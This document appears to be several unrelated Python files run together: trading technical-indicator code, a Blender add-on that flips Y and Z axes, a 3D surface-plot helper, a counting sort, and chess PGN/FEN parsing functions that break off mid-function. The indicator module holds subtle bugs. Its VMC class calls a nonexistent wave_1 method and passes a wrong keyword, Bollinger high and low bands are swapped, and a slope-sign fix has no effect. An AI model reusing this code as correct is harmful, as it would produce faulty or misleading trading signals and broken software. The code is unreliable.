import numpy as np
import pandas as pd
from sklearn.linear_model import LinearRegression
import math
from multiprocessing import cpu_count

# Technical indicators
from ta.momentum import stochrsi,rsi
from ta.trend import ema_indicator, macd_diff, vortex_indicator_neg, vortex_indicator_pos, adx, cci, sma_indicator
from ta.volatility import bollinger_hband, bollinger_lband, average_true_range
from ta.volume import volume_weighted_average_price, ease_of_movement

from .filters import filterData

def swing_indicator(df:pd.DataFrame, swing_window:int=8)->pd.Series:
    df_cop = df.copy()
    df_cop['upside_momentum_gauge'] = 0
    df_cop.loc[(df_cop['High'] > df_cop['High'].shift(1)) & (df_cop['Close'] > df_cop['Open']), 'upside_momentum_gauge'] = 2
    df_cop.loc[(df_cop['High'] > df_cop['High'].shift(1)) & (df_cop['Close'] < df_cop['Open']), 'upside_momentum_gauge'] = 1
    df_cop.loc[(df_cop['High'] < df_cop['High'].shift(1)) & (df_cop['Close'] > df_cop['Open']), 'upside_momentum_gauge'] = 1
    df_cop.loc[(df_cop['High'] < df_cop['High'].shift(1)) & (df_cop['Close'] < df_cop['Open']), 'upside_momentum_gauge'] = 0

    df_cop['downside_momentum_gauge'] = 0
    df_cop.loc[(df_cop['Low'] > df_cop['Low'].shift(1)) & (df_cop['Close'] > df_cop['Open']), 'downside_momentum_gauge'] = 0
    df_cop.loc[(df_cop['Low'] > df_cop['Low'].shift(1)) & (df_cop['Close'] < df_cop['Open']), 'downside_momentum_gauge'] = 1
    df_cop.loc[(df_cop['Low'] < df_cop['Low'].shift(1)) & (df_cop['Close'] > df_cop['Open']), 'downside_momentum_gauge'] = 1
    df_cop.loc[(df_cop['Low'] < df_cop['Low'].shift(1)) & (df_cop['Close'] < df_cop['Open']), 'downside_momentum_gauge'] = 2

    df_cop['raw_swing'] = df_cop['upside_momentum_gauge'] - df_cop['downside_momentum_gauge']

    return df_cop['raw_swing'].rolling(swing_window).sum()

def add_bearish_breakouts(df:pd.DataFrame):
    df_2 = df.copy()
    df_2['Open_Close'] = df_2.apply(lambda row: (row['Open']-row['Close'])/row['Open'],axis=1)
    df_2['High_Low'] = df_2.apply(lambda row: (row['High']-row['Low'])/row['High'],axis=1)

    df_2['Open_Close_1'] = df_2.Open_Close.shift(1)
    df_2['Open_Close_2'] = df_2.Open_Close.shift(2)
    df_2['Open_Close_3'] = df_2.Open_Close.shift(3)

    def bearish_breakout(row):
        if (row['Open_Close']<0 and
            row['Open_Close_1']>0 and
            row['Open_Close_2']>0 and
            row['Open_Close_3']>0 and
            abs(row['Open_Close_1']+row['Open_Close_2']+row['Open_Close_3'])<=abs(row['High_Low'])):
            return 1
        else:
            return 0

    df['Bearish_breakout'] = df_2.apply(bearish_breakout,axis=1)
    return df

def add_bullish_breakouts(df:pd.DataFrame):
    df_2 = df.copy()
    df_2['Open_Close'] = df_2.apply(lambda row: (row['Open']-row['Close'])/row['Open'],axis=1)
    df_2['High_Low'] = df_2.apply(lambda row: (row['High']-row['Low'])/row['High'],axis=1)

    df_2['Open_Close_1'] = df_2.Open_Close.shift(1)
    df_2['Open_Close_2'] = df_2.Open_Close.shift(2)
    df_2['Open_Close_3'] = df_2.Open_Close.shift(3)

    def bullish_breakout(row):
        if (row['Open_Close']>0 and
            row['Open_Close_1']<0 and
            row['Open_Close_2']<0 and
            row['Open_Close_3']<0 and
            abs(row['Open_Close_1']+row['Open_Close_2']+row['Open_Close_3'])<=abs(row['High_Low'])):
            return 1
        else:
            return 0
    df['Bullish_breakout'] = df_2.apply(bullish_breakout,axis=1)
    return df

def addIndicators(df:pd.DataFrame,b_engulfings:bool=False, derivative:bool=False, double_derivative:bool=False,heikin_ashi:bool=False,chandelier_exit:bool=False, **kwargs) -> pd.DataFrame:
    """Apply indicators to the DataFrame.

    Args:
        df (pd.DataFrame): The dataframe you want to add indicators on.
        b_engulfings (bool, optional): Add bearish and bullish engulfing indicators. Defaults to False.
        derivative (bool, optional): Add the first derivative of the Close price. Defaults to False.
        double_derivative (bool, optional): Add the second derivative of the Close price. Defaults to False.
        heikin_ashi (bool, optional): Add the heikin_ashi candle to the dataframe. Defaults to False.
        chandelier_exit (bool, optional): Add the CE signal short and long to the dataframe. Defaults to False.
        **kwargs

    Returns:
        pd.DataFrame: The same dataframe with indicators
    """
    df['High_Low_diff'] = df.High-df.Low
    df['EMA20'] = ema_indicator(df.Close,20)
    df['EMA50'] = ema_indicator(df.Close,50)
    df['EMA100'] = ema_indicator(df.Close,100)
    df['EMA200'] = ema_indicator(df.Close,200)
    df['MACD'] = macd_diff(df.Close,kwargs.get('macd_length',14))
    df['Stoch_RSI'] = stochrsi(df.Close, kwargs.get('rsi_length',14), smooth1=3, smooth2=3)
    df['Vortex'] = (vortex_indicator_pos(df.High,df.Low,df.Close,kwargs.get('vortex_length',20),fillna=True)-1)-(vortex_indicator_neg(df.High,df.Low,df.Close,kwargs.get('vortex_length',20),fillna=True)-1)
    df['Bollinger_low'] = bollinger_hband(df.Close,kwargs.get('bollinger_length',20),fillna=True)
    df['Bollinger_high'] = bollinger_lband(df.Close,kwargs.get('bollinger_length',20),fillna=True)
    df['ADX'] = adx(df.High,df.Low,df.Close,kwargs.get('adx_length',14))
    df['ATR'] = average_true_range(df.High,df.Low,df.Close,kwargs.get('atr_length',10))
    df['CCI'] = cci(df.High,df.Low,df.Close,kwargs.get('cci_length',14))
    df['OVB'] = (np.sign(df.Close.diff())*df.Volume).fillna(0).cumsum()
    df['OVB_EMA200'] = ema_indicator(df.OVB,200)
    df['EVM'] = ease_of_movement(df.High,df.Low,df.Volume,kwargs.get('evm_length',14))
    df['Swing'] = swing_indicator(df,kwargs.get('swing_window',8))
    if chandelier_exit==True:
        df['CE_long'] = np.nan
        df['CE_short'] = np.nan
        df['CE_long'].iloc[kwargs.get('atr_length',22):] = [df['High'].iloc[i-kwargs.get('atr_length',22):i].max()-df['ATR'].iloc[i]*3 for i in range(kwargs.get('atr_length',22),len(df))]
        df['CE_short'].iloc[kwargs.get('atr_length',22):] = [df['Low'].iloc[i-kwargs.get('atr_length',22):i].min()+df['ATR'].iloc[i]*3 for i in range(kwargs.get('atr_length',22),len(df))]
    if b_engulfings==True:
        def isBearishCandleStick(candle) -> bool:
            """Check whether a candle is a bearish candle or not

            Args:
                candle (pd.Series): The current candle that contains OHLC

            Returns:
                bool: A boolean representing if the candle is bearish candle (True) or not (False)
            """
            return candle['Close']<candle['Open']

        def isBullishCandleStick(candle) -> bool:
            """Check whether a candle is a bullish candle or not

            Args:
                candle (pd.Series): The current candle that contains OHLC

            Returns:
                bool: A boolean representing if the candle is bullish candle (True) or not (False)
            """
            return candle['Close']>candle['Open']

        def isBullishEngulfing(previous_candle,current_candle) -> int:
            """A function that check for bullish engulfing pattern through candle stick

            Args:
                previous_candle (pd.Series): The previous candle that contains OHLC
                current_candle (pd.Series): The current candle that contains OHLC

            Returns:
                int: represent the pattern spotting : 1 bullish engulfing, 0 not.
            """
            return 1 if isBearishCandleStick(previous_candle) and isBullishCandleStick(current_candle) and previous_candle['Open']<current_candle['Close'] and previous_candle['Close']>current_candle['Open'] else 0

        def isBearishEngulfing(previous_candle,current_candle) -> int:
            """A function that check for bearish engulfing pattern through candle stick

            Args:
                previous_candle (pd.Series): The previous candle that contains OHLC
                current_candle (pd.Series): The current candle that contains OHLC

            Returns:
                int: represent the pattern spotting : 1 bearish engulfing, 0 not.
            """
            return 1 if isBullishCandleStick(previous_candle) and isBearishCandleStick(current_candle) and previous_candle['Close']<current_candle['Open'] and previous_candle['Open']>current_candle['Close'] else 0

        df['Bullish_engulfing'] = np.nan
        df['Bullish_engulfing'].iloc[1:] = [isBullishEngulfing(df.iloc[i-1],df.iloc[i]) for i in range(1,len(df))]
        df['Bearish_engulfing'] = np.nan
        df['Bearish_engulfing'].iloc[1:] = [isBearishEngulfing(df.iloc[i-1],df.iloc[i]) for i in range(1,len(df))]
    if derivative==True:
        df['Slope'] = df.Close.diff()
    if double_derivative==True:
        df['Acceleration'] = df.Close.diff().diff()
    if heikin_ashi==True:
        df['HA_Close'] = (df.Open + df.High + df.Low + df.Close)/4
        ha_open = [(df.Open[0] + df.Close[0]) / 2]
        [ha_open.append((ha_open[i] + df.HA_Close.values[i]) / 2) for i in range(0, len(df)-1)]
        df['HA_Open'] = ha_open
        df['HA_High'] = df[['HA_Open', 'HA_Close', 'High']].max(axis=1)
        df['HA_Low'] = df[['HA_Open', 'HA_Close', 'Low']].min(axis=1)
    return df.dropna()

def generateDatesFeatures(df:pd.DataFrame,
                          sin_cos:bool=True,
                          date_in_index:bool=True,
                          date_col=''):
    """Generate date features from a dataframe.

    Args:
        df (pd.DataFrame): _description_
        sin_cos (bool, optional): _description_. Defaults to True.
        date_in_index (bool, optional): _description_. Defaults to True.
        date_col (str, optional): _description_. Defaults to ''.

    Returns:
        _type_: _description_
    """

    day = 24*60*60
    year = (365.2425)*day

    if date_in_index:
        #df['Day']=df.index.day
        df['Month']=df.index.month
        df['Year']=df.index.year
        #df['Day_week']=df.index.day_of_week
        df['Week']=df.index.week
        df['Hour']=df.index.hour
        if sin_cos:
            timestamp_s = df.index.map(pd.Timestamp.timestamp)
            df['Day_sin'] = np.sin(timestamp_s * (2 * np.pi / day))
            df['Day_cos'] = np.cos(timestamp_s * (2 * np.pi / day))
            df['Year_sin'] = np.sin(timestamp_s * (2 * np.pi / year))
            df['Year_cos'] = np.cos(timestamp_s * (2 * np.pi / year))
        return df
    else:
        df['Day']=df[date_col].day
        df['Month']=df[date_col].month
        df['Year']=df[date_col].year
        df['Day_week']=df[date_col].day_of_week
        df['Week']=df[date_col].week
        df['Hour']=df[date_col].hour
        if sin_cos:
            timestamp_s = df[date_col].map(pd.Timestamp.timestamp).to_list()

            df['Day_sin'] = np.sin(timestamp_s * (2 * np.pi / day))
            df['Day_cos'] = np.cos(timestamp_s * (2 * np.pi / day))
            df['Year_sin'] = np.sin(timestamp_s * (2 * np.pi / year))
            df['Year_cos'] = np.cos(timestamp_s * (2 * np.pi / year))
        return df

def computeTrixIndicator(df,trix_length=9,trix_signal=21,col='Close',histo=True)->pd.DataFrame:
    """_summary_

    Args:
        df (_type_): _description_
        trix_length (_type_): _description_
        trix_signal (_type_): _description_
        col (str, optional): _description_. Defaults to 'Close'.
        histo (bool, optional): _description_. Defaults to True.

    Returns:
        pd.DateFrame: _description_
    """
    df['Trix'] = ema_indicator(ema_indicator(ema_indicator(df[col], window=trix_length), window=trix_length), window=trix_length)
    trix_pct = df['Trix'].pct_change()*100
    trix_sig = sma_indicator(trix_pct,trix_signal)
    if histo==True:
        df['Trix_histo'] = trix_pct - trix_sig
    return df.dropna()

def computeLaggingLinearRegression(df, col="Close",window=15,filter_ceof:bool=True, filter_method:str='dwt',derivative:bool=True)->pd.DataFrame:
    """Compute a lagging moving regression on a column with a window.

    Args:
        df (pd.DataFrame): The dataframe containing features.
        col (str, optional): The column we apply Linear regression on. Defaults to "Close.
        window (int, optional): The window we apply linear regression on. Defaults to 15.

    Returns:
        pd.DataFrame: The entry DataFrame we another column called B_MLR_coefs
    """
    def computeLinearRegression(x,y)->float:
        """Compute simple linear regression between 2 vectors x and y

        Args:
            x (np.array): x vector
            y (np.array): y vector

        Returns:
            float: The coefficient a corresponding to the linear regression y=ax+b.
        """
        model = LinearRegression(n_jobs=cpu_count()).fit(x,y,)
        return model.coef_[0]

    df['B_MLR_coefs'] = np.nan
    df['B_MLR_coefs'].iloc[window:] = [computeLinearRegression(df.Timestamp.values[i-window:i].reshape(-1, 1), df[col].values[i-window:i]) for i in range(window,len(df))]
    df = df.dropna()
    if filter_ceof==True:
        df['B_MLR_coefs_filtered'] = filterData(df.B_MLR_coefs.values,filter_method)
        if derivative==True:
            df['B_MLR_coefs_filtered_diff'] = df['B_MLR_coefs_filtered'].diff(3)
    else:
        if derivative==True:
            df['B_MLR_coefs_diff'] = df['B_MLR_coefs'].diff(3)
    return df.dropna()

def computeRSI_VWAP(df, rsi_window=25,vwap_window=19, stoch_rsi=False)->pd.DataFrame:
    """_summary_

    Args:
        df (pd.DataFrame): The dataframe containing features.
        rsi_window (int, optional): The window we apply VWAP indicator on. Defaults to 25.
        vwap_window (int, optional): The window we apply RSI indicator on. Defaults to 19.

    Returns:
        pd.DataFrame: The entry DataFrame with RSI_VWAP indicator column added.
    """
    if stoch_rsi==True:
        df['RSI_VWAP'] = stochrsi(volume_weighted_average_price(df.High,df.Low,df.Close,df['Volume'],vwap_window),rsi_window)
    else:
        df['RSI_VWAP'] = rsi(volume_weighted_average_price(df.High,df.Low,df.Close,df['Volume'],vwap_window),rsi_window)
    return df.dropna()

def computeVMCCB(df:pd.DataFrame)->pd.DataFrame:
    class VMC():
        """ VuManChu Cipher B + Divergences
            Args:
                High(pandas.Series): dataset 'High' column.
                Low(pandas.Series): dataset 'Low' column.
                Close(pandas.Series): dataset 'Close' column.
                wtChannelLen(int): n period.
                wtAverageLen(int): n period.
                wtMALen(int): n period.
                rsiMFIperiod(int): n period.
                rsiMFIMultiplier(int): n period.
                rsiMFIPosY(int): n period.
        """

        def __init__(
            self: pd.Series,
            Open: pd.Series,
            High: pd.Series,
            Low: pd.Series,
            Close: pd.Series,
            wtChannelLen: int = 9,
            wtAverageLen: int = 12,
            wtMALen: int = 3,
            rsiMFIperiod: int = 60,
            rsiMFIMultiplier: int = 150,
            rsiMFIPosY: int = 2.5
        ) -> None:
            self._high = High
            self._low = Low
            self._close = Close
            self._open = Open
            self._wtChannelLen = wtChannelLen
            self._wtAverageLen = wtAverageLen
            self._wtMALen = wtMALen
            self._rsiMFIperiod = rsiMFIperiod
            self._rsiMFIMultiplier = rsiMFIMultiplier
            self._rsiMFIPosY = rsiMFIPosY

            self._run()
            self.wave_1()

        def _run(self) -> None:
            self.hlc3 = (self._close + self._high + self._low)
            self._esa = ema_indicator(
                Close=self.hlc3, window=self._wtChannelLen)
            self._de = ema_indicator(
                Close=abs(self.hlc3 - self._esa), window=self._wtChannelLen)
            self._rsi = sma_indicator(self._close, self._rsiMFIperiod)
            self._ci = (self.hlc3 - self._esa) / (0.015 * self._de)

        def wave1(self) -> pd.Series:
            """VMC Wave 1
            Returns:
                pandas.Series: New feature generated.
            """
            wt1 = ema_indicator(self._ci, self._wtAverageLen)
            return pd.Series(wt1, name="wt1")

        def wave2(self) -> pd.Series:
            """VMC Wave 2
            Returns:
                pandas.Series: New feature generated.
            """
            wt2 = sma_indicator(self.wave_1(), self._wtMALen)
            return pd.Series(wt2, name="wt2")

        def moneyFlow(self) -> pd.Series:
            """VMC Money Flow
            Returns:
                pandas.Series: New feature generated.
            """
            mfi = ((self._close - self._open) /
                (self._high - self._low)) * self._rsiMFIMultiplier
            rsi = sma_indicator(mfi, self._rsiMFIperiod)
            money_flow = rsi - self._rsiMFIPosY
            return pd.Series(money_flow, name="money_flow")

    vmc = VMC(df.Open, df.High, df.Low, df.Close)
    df['Money_Flow'] = vmc.moneyFlow()
    df['Wave1'] = vmc.wave1()
    df['Wave2'] = vmc.wave2()
    def chop(high, low, close, window=14):
        """ Chopiness index
            Args:
                high(pd.Series): dataframe 'high' columns,
                low(pd.Series): dataframe 'low' columns,
                close(pd.Series): dataframe 'close' columns,
                window(int): the window length for the chopiness index,
            Returns:
                pd.Series: Chopiness index
        """
        tr1 = pd.DataFrame(high - low).rename(columns = {0:'tr1'})
        tr2 = pd.DataFrame(abs(high - close.shift(1))).rename(columns = {0:'tr2'})
        tr3 = pd.DataFrame(abs(low - close.shift(1))).rename(columns = {0:'tr3'})
        frames = [tr1, tr2, tr3]
        tr = pd.concat(frames, axis = 1, join = 'inner').dropna().max(axis = 1)
        atr = tr.rolling(1).mean()
        highh = high.rolling(window).max()
        lowl = low.rolling(window).min()
        return 100 * np.log10((atr.rolling(window).sum()) / (highh - lowl)) / np.log10(window)
    return df

def computeSuperTrend(df:pd.DataFrame,upper=False, lower=False)->pd.DataFrame:
    """Compute the super trend indicator for a dataframe.

    Args:
        df (pd.DataFrame): The input dataframe.

    Returns:
        pd.DataFrame: The resulting dataframe with 3 new columns
    """
    class SuperTrend():
        def __init__(
            self,
            High,
            Low,
            Close,
            atr_window=10,
            atr_multi=3
        ):
            self.High = High
            self.Low = Low
            self.Close = Close
            self.atr_window = atr_window
            self.atr_multi = atr_multi
            self._run()

        def _run(self):
            # calculate ATR
            price_diffs = [self.High - self.Low,
                        self.High - self.Close.shift(),
                        self.Close.shift() - self.Low]
            true_range = pd.concat(price_diffs, axis=1)
            true_range = true_range.abs().max(axis=1)
            # default ATR calculation in supertrend indicator
            atr = true_range.ewm(alpha=1/self.atr_window,min_periods=self.atr_window).mean()
            # atr = ta.volatility.average_true_range(High, Low, Close, atr_period)
            # df['atr'] = df['tr'].rolling(atr_period).mean()

            # HL2 is simply the average of High and Low prices
            hl2 = (self.High + self.Low) / 2
            # upperband and lowerband calculation
            # notice that final bands are set to be equal to the respective bands
            final_upperband = upperband = hl2 + (self.atr_multi * atr)
            final_lowerband = lowerband = hl2 - (self.atr_multi * atr)

            # initialize Supertrend column to True
            supertrend = [True] * len(self.Close)

            for i in range(1, len(self.Close)):
                curr, prev = i, i-1

                # if current Close price crosses above upperband
                if self.Close[curr] > final_upperband[prev]:
                    supertrend[curr] = True
                # if current Close price crosses below lowerband
                elif self.Close[curr] < final_lowerband[prev]:
                    supertrend[curr] = False
                # else, the trend continues
                else:
                    supertrend[curr] = supertrend[prev]

                    # adjustment to the final bands
                    if supertrend[curr] == True and final_lowerband[curr] < final_lowerband[prev]:
                        final_lowerband[curr] = final_lowerband[prev]
                    if supertrend[curr] == False and final_upperband[curr] > final_upperband[prev]:
                        final_upperband[curr] = final_upperband[prev]

                # to remove bands according to the trend direction
                if supertrend[curr] == True:
                    final_upperband[curr] = np.nan
                else:
                    final_lowerband[curr] = np.nan

            self.st = pd.DataFrame({
                'Supertrend': supertrend,
                'Final Lowerband': final_lowerband,
                'Final Upperband': final_upperband
            })

        def superTrendUpper(self):
            return self.st['Final Upperband']

        def superTrendLower(self):
            return self.st['Final Lowerband']

        def superTrendDirection(self):
            return self.st['Supertrend']

    st = SuperTrend(df.High, df.Low, df.Close)

    if upper==True:
        df['ST_Upper']  = st.superTrendUpper()
    if lower==True:
        df['ST_Lower'] = st.superTrendLower()
    df['ST_Direction'] = st.superTrendDirection()
    return df

def computeMASlope(df_true:pd.DataFrame)->pd.DataFrame:
    """Compute MA Slope indicator on a dataFrame.

    Args:
        df (pd.DataFrame): The input DataFrame.

    Returns:
        pd.DataFrame: The output dataframe with 2 new columns.
    """
    class MaSlope():
        """ Slope adaptative moving average
        """

        def __init__(
            self,
            Close: pd.Series,
            High: pd.Series,
            Low: pd.Series,
            long_ma: int = 200,
            major_length: int = 14,
            minor_length: int = 6,
            slope_period: int = 34,
            slope_ir: int = 25
        ):
            self.Close = Close
            self.High = High
            self.Low = Low
            self.long_ma = long_ma
            self.major_length = major_length
            self.minor_length = minor_length
            self.slope_period = slope_period
            self.slope_ir = slope_ir
            self._run()

        def _run(self):
            minAlpha = 2 / (self.minor_length + 1)
            majAlpha = 2 / (self.major_length + 1)
            # df = pd.DataFrame(data = [self.Close, self.High, self.Low], columns = ['Close','High','Low'])
            df = pd.DataFrame(data = {"Close": self.Close, "High": self.High, "Low":self.Low})
            df['hh'] = df['High'].rolling(window=self.long_ma+1).max()
            df['ll'] = df['Low'].rolling(window=self.long_ma+1).min()

            df = df.fillna(0)
            df['mult'] = 0
            df['mult'].iloc[self.long_ma:] = abs(2 * df['Close'].iloc[self.long_ma:] - df['ll'].iloc[self.long_ma:] - df['hh'].iloc[self.long_ma:]) / (df['hh'].iloc[self.long_ma:] - df['ll'].iloc[self.long_ma:])
            df['final'] = df['mult'] * (minAlpha - majAlpha) + majAlpha

            ma_first = (df.iloc[0]['final']**2) * df.iloc[0]['Close']

            col_ma = [ma_first]
            for i in range(1, len(df)):
                ma1 = col_ma[i-1]
                col_ma.append(ma1 + (df.iloc[i]['final']**2) * (df.iloc[i]['Close'] - ma1))

            df['ma'] = col_ma
            pi = math.atan(1) * 4
            df['hh1'] = df['High'].rolling(window=self.slope_period).max()
            df['ll1'] = df['Low'].rolling(window=self.slope_period).min()
            df['slope_range'] = self.slope_ir / (df['hh1'] - df['ll1']) * df['ll1']
            df['dt'] = (df['ma'].shift(2) - df['ma']) / df['Close'] * df['slope_range']
            df['c'] = (1+df['dt']*df['dt'])**0.5
            df['xangle'] = round(180*np.arccos(1/df['c']) / pi)
            df[df['dt']>0]['xangle'] = - df[df['dt']>0]['xangle']
            self.df = df
            # print(df)

        def ma_line(self) -> pd.Series:
            """ ma_line
                Returns:
                    pd.Series: ma_line
            """
            return self.df['ma']

        def x_angle(self) -> pd.Series:
            """ x_angle
                Returns:
                    pd.Series: x_angle
            """
            return self.df['xangle']

    ms = MaSlope(df_true.High, df_true.Low, df_true.Close)
    df_true['Angle'] = ms.x_angle()
    df_true['MA_Slope'] = ms.ma_line()
    return df_true


# ##### BEGIN LICENSE BLOCK #####
#
# This program is licensed under Creative Commons CC0
# https://creativecommons.org/publicdomain/zero/1.0/
#
# Note: All Blender API calls are licensed under GNU GPL according to www.blender.org
#
# ##### END LICENSE BLOCK #####

bl_info = {
    "name": "Flip Y and Z",
    "author": "Mazay",
    "version": (0, 2),
    "blender": (2, 80, 0),
    "location": "View3D > Object > Flip Y and Z",
    "description": "Adds Flip Y and Z option to object menu.",
    "warning": "",
    "wiki_url": "",
    "tracker_url": "",
    "category": "Object"}

import bpy
import bmesh
import mathutils

class FlipYZ(bpy.types.Operator):
    """Flip Y and Z of object"""
    bl_idname = "object.flip_yz"
    bl_label = "Flip Y and Z"
    bl_options = {'REGISTER', 'UNDO'} # Add to F3 search, Add Undo step

    @classmethod
    def poll(cls, context):
        return len(bpy.context.selected_objects) > 0

    def execute(self, context):
        for ob in bpy.context.selected_objects:

            # Flip Y and Z in 4x4 transform matrix:
            m = ob.matrix_world
            x, y, z, w = m[0], m[1], m[2], m[3]
            # swapping third and second row, and third and second column
            ob.matrix_world = mathutils.Matrix([
                (x.x, x.z, x.y, x.w),
                (z.x, z.z, z.y, z.w),
                (y.x, y.z, y.y, y.w),
                (w.x, w.z, w.y, w.w),
            ])

            # Flip Y and Z of vertices:
            if ob.type == 'MESH':
                mesh = ob.data
                bm = bmesh.new() # Empty BMesh
                bm.from_mesh(mesh) # Fill with data

                for v in bm.verts:
                    y = v.co.y
                    z = v.co.z
                    v.co.y = z
                    v.co.z = y

                bm.to_mesh(mesh) # Overwrite original mesh
                mesh.update() # Update viewport after mesh change
                bm.free() # Free temporary mesh from memory

        return {'FINISHED'}

# Only needed if you want to add into a dynamic menu.
def menu_func(self, context):
    self.layout.separator()
    self.layout.operator(FlipYZ.bl_idname, text="Flip Y and Z")

def register():
    bpy.utils.register_class(FlipYZ)
    bpy.types.VIEW3D_MT_object.append(menu_func)

def unregister():
    bpy.types.VIEW3D_MT_object.remove(menu_func)
    bpy.utils.unregister_class(FlipYZ)

if __name__ == "__main__":
    register()


from typing import Callable, Union

import matplotlib as mpl
import numpy as np
import torch as to
import torch.nn as nn
from matplotlib import pyplot as plt
from mpl_toolkits.mplot3d import Axes3D

import pyrado
from pyrado.utils.data_types import merge_dicts

def draw_surface(
    x: np.ndarray,
    y: np.ndarray,
    z_fcn: Union[Callable[[np.ndarray], np.ndarray], nn.Module],
    x_label: str,
    y_label: str,
    z_label: str,
    data_format="numpy",
    fig: plt.Figure = None,
    title: str = None,
    plot_kwargs: dict = None,
) -> plt.Figure:
    """
    Render a 3-dim surface plot by providing a 1-dim array of x and y points and a function to calculate the z values.

    .. note::
        If you want to have a tight layout, it is best to pass axes of a figure with `tight_layout=True` or
        `constrained_layout=True`.

    :param x: x-axis 1-dim grid for constructing the 2-dim mesh grid
    :param y: y-axis 1-dim grid for constructing the 2-dim mesh grid
    :param z_fcn: function that defines the surface, takes a 2-dim vector as input
    :param x_label: label for the x-axis
    :param y_label: label for the y-axis
    :param z_label: label for the z-axis
    :param data_format: data format, 'numpy' or 'torch'
    :param fig: handle to figure, pass None to create a new figure
    :param title: title displayed above the figure, set to None to suppress the title
    :param plot_kwargs: keyword arguments forwarded to pyplot's `plot_surface()` function
    :return: handle to figure
    """
    plot_kwargs = merge_dicts([dict(cmap=mpl.rcParams["image.cmap"]), plot_kwargs])

    if fig is None:
        fig = plt.figure()
    ax = Axes3D(fig, auto_add_to_figure=False)
    fig.add_axes(ax)

    # Create mesh grid matrices from x and y vectors
    xx, yy = np.meshgrid(x, y)

    # Check which version to use based on the output of the function
    if data_format == "numpy":
        # Operate on ndarrays
        zz = np.array([z_fcn(np.stack((x, y), axis=0)) for x, y in zip(xx, yy)])

    elif data_format == "torch":
        # Operate on Tensors
        xx_tensor = to.from_numpy(xx)
        yy_tensor = to.from_numpy(yy)

        if hasattr(z_fcn, "_fcn"):
            # Passed function was wrapped (e.g. by functools)
            check_fcn = z_fcn._fcn
        else:
            check_fcn = z_fcn

        if isinstance(check_fcn, nn.Module):
            # Adapt for batch-first behavior of NN-based policies
            zz = to.stack(
                [
                    z_fcn(to.stack((x, y), dim=1).view(-1, 1, 2).to(to.get_default_dtype()))
                    for x, y in zip(xx_tensor, yy_tensor)
                ]
            )
        else:
            zz = to.stack(
                [
                    z_fcn(to.stack((x, y), dim=1).transpose(0, 1).to(to.get_default_dtype()))
                    for x, y in zip(xx_tensor, yy_tensor)
                ]
            )
        zz = zz.squeeze().detach().cpu().numpy()

    else:
        raise pyrado.ValueErr(given=data_format, eq_constraint="'numpy' or 'torch'")

    # Generate the plot
    ax.plot_surface(xx, yy, zz, **plot_kwargs)

    # Add labels
    ax.set_xlabel(x_label)
    ax.set_ylabel(y_label)
    ax.set_zlabel(z_label)
    if title is not None:
        ax.set_title(title)
    return fig


def count_sort(array):
    max = 0
    for i in array:
        if i>max:
            max =i

    count = [0]*(max+1)
    for i in array:
        count[i]+=1

    for i in range(1, len(count)):
        count[i]+=count[i-1]

    sorted_lst=[0]*(len(array))
    for i in range(len(array)-1, -1, -1):
        num = array[i]
        ind = count[num]-1
        sorted_lst[ind]= num
        count[num] -=1
    return sorted_lst

lst = [25, 6, 1, 269, 58, 7]
print(count_sort(lst))


     #################################
     ### DATA COLLECTION FUNCTIONS ###
     #################################

# List of Data Collection functions:
    # get_move_list
    # white_results
    # clean_fen
    # get_bitwise
    # get_white_win_bs
    # get_white_lose_bs
    # get_board_state_string
    # get_board_state_array
    # get_draw_bs
    # get_fen_from_bitwise

#####################################################################################

import numpy as np
import pandas as pd
import itertools
import chess

def get_move_list(move_string): #### input is a string
    '''
    Takes a move string that was striped from a PGN format, and removes unwanted characters and conserves SAN format.

    Input: String of plain text moves in string format
    Output: List of SAN moves

    '''
    testing = move_string
    testing = testing[0:-2]  ### remove last 2 characters == '\n'
    testing = testing.split('. ')

    for i in range(len(testing)):
        testing[i] = testing[i].split(' ')
    for i in testing:
        try:
            del(i[2])
        except:
            continue
    del(testing[0])

    simplelist = list(itertools.chain.from_iterable(testing))
    return(simplelist)

#####################################################################################

def white_results(result_string_list):
    '''
    Reformats and standardizes stripped result info from chess game in PGN/TXT format

    Input: list of strings - (results text with line breaks included '\n'
    Output: win, lose, draw in list format

    '''
    white_result_list = []
    for i in range(len(result_string_list)):
            result = result_string_list[i][:-1]
            result = result.replace('1-0', 'win')
            result = result.replace('0-1', 'lose')
            result = result.replace('1/2-1/2', 'draw')
            white_result_list.append(result)
    return(white_result_list)

#####################################################################################

def clean_fen(string):
    '''
    Takes a Forsyth-Edwards Notation, with extraneous features, and simplifies it to a list of piece and position on the board [r,n,b,q,k,b,n,r,p,p,p,p,p,p,p,p,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,P,P,P,P,P,P,P,P,R,N,B,Q,K,B,N,R]

    Input: FEN string
    Output: 64 length list of strings, with piece position encoded
    '''
    string = string.replace('8','1'*8)
    string = string.replace('7','1'*7)
    string = string.replace('6','1'*6)
    string = string.replace('5','1'*5)
    string = string.replace('4','1'*4)
    string = string.replace('3','1'*3)
    string = string.replace('2','1'*2)
    string = string.replace('1','1'*1)
    string = string.replace('/','')
    string_list = [i for i in string]
    return(string_list)

#####################################################################################

def get_bitwise(board_state):
    '''
    Takes a 64 length list and decomposes it into 6 - 64 length arrays with bitwise encoding, -1,0,1

    Input: 64 length list of board states with piece encoding (r,n,b,q,k,p,R,N,B,Q,K,P,1)
    Output: 6 - 64 length arrays depicting board states with values -1,0,1
    '''

    bs = board_state
    r_ray = np.zeros(64)
    n_ray = np.zeros(64)
    b_ray = np.zeros(64)
    q_ray = np.zeros(64)
    k_ray = np.zeros(64)
    p_ray = np.zeros(64)

    for i in range(64):
        if bs[i] == 'r':
            r_ray[i] = -1
        if bs[i] == 'R':
            r_ray[i] = 1

        if bs[i] == 'b':
            b_ray[i] = -1
        if bs[i] == 'B':
            b_ray[i] = 1

        if bs[i] == 'n':
            n_ray[i] = -1
        if bs[i] == 'N':
            n_ray[i] = 1

        if bs[i] == 'q':
            q_ray[i] = -1
        if bs[i] == 'Q':
            q_ray[i] = 1

        if bs[i] == 'k':
            k_ray[i] = -1
        if bs[i] == 'K':
            k_ray[i] = 1

        if bs[i] == 'p':
            p_ray[i] = -1
        if bs[i] == 'P':
            p_ray[i] = 1
    master_ray = np.array((r_ray, n_ray, b_ray, q_ray, k_ray, p_ray))
    return(master_ray)

#####################################################################################

def get_white_win_bs(game): ### i from white_win
    '''
    Gets pairs of 'before-and-after' boardstates where white is making the move

    Input: List of game moves
    Output: List of before and after boardstates for white, where white wins
    '''

    board = chess.Board()

    board_state = None
    game_board_states = []

    for i in range(len(game)):
        bs = board.board_fen() ### creates current board state, in FEN "rnbqkbnr/pppppppp....
